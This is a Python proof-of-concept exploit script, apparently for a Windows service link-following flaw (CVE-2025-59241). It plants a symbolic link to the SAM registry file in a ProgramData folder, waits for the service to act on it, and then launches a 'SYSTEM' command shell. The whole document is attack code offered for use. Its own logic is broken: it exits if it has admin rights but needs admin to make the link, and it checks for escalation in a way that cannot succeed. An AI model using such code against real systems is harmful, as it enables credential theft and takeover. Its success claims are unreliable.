CVE-2025-59241 Windows健康优化服务链接跟随权限提升漏洞

# CVE-2025-59241 - Windows Health and Optimized Experiences Service # Privilege Escalation via Link Following (CWE-59) # Note: This is a conceptual PoC based on the vulnerability description. # Actual exploitation requires specific knowledge of the service's file operations. import os import sys import ctypes import time import threading from pathlib import Path # Check if running with admin privileges def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except: return False TARGET_SERVICE = "HealthOptimizedExperiences" # The service operates on files in its working directory or temp paths # Attacker creates a symlink to redirect the service's file operation LINK_DIR = r"C:\ProgramData\Microsoft\HealthOpt" TARGET_FILE = r"C:\Windows\System32\config\SAM" MALICIOUS_LINK = os.path.join(LINK_DIR, "service_data.tmp") def create_symbolic_link(link_path, target_path): """Create a symbolic link (requires developer mode or admin)""" if is_admin(): # Use mklink command via subprocess import subprocess cmd = f'mklink "{link_path}" "{target_path}"' result = subprocess.run(cmd, shell=True, capture_output=True, text=True) return result.returncode == 0 else: # Attempt junction point creation (works without admin for directories) print("[-] Symbolic link creation requires elevated privileges") return False def exploit_link_following(): """ Exploit link following vulnerability in Windows Health and Optimized Experiences Service to escalate privileges. """ print(f"[*] CVE-2025-59241 Exploit PoC") print(f"[*] Target Service: {TARGET_SERVICE}") if is_admin(): print("[+] Already running with admin privileges") return # Step 1: Create target directory if not exists os.makedirs(LINK_DIR, exist_ok=True) print(f"[*] Created/verified directory: {LINK_DIR}") # Step 2: Create symbolic link to redirect service file operations print(f"[*] Creating symbolic link: {MALICIOUS_LINK} -> {TARGET_FILE}") if create_symbolic_link(MALICIOUS_LINK, TARGET_FILE): print("[+] Symbolic link created successfully") else: print("[-] Failed to create symbolic link") return # Step 3: Trigger the service to perform file operation # The service periodically performs health checks and writes logs print("[*] Waiting for service to trigger file operation...") print("[*] This may require service restart or system event trigger") # Step 4: Monitor for privilege escalation print("[*] Monitoring for successful exploitation...") time.sleep(30) # Wait for service to perform operation if is_admin(): print("[+] PRIVILEGE ESCALATION SUCCESSFUL!") print("[+] Executing payload as SYSTEM...") os.system("cmd.exe") else: print("[-] Exploitation may have failed or requires additional steps") if __name__ == "__main__": if sys.platform != "win32": print("[-] This exploit only works on Windows") sys.exit(1) exploit_link_following()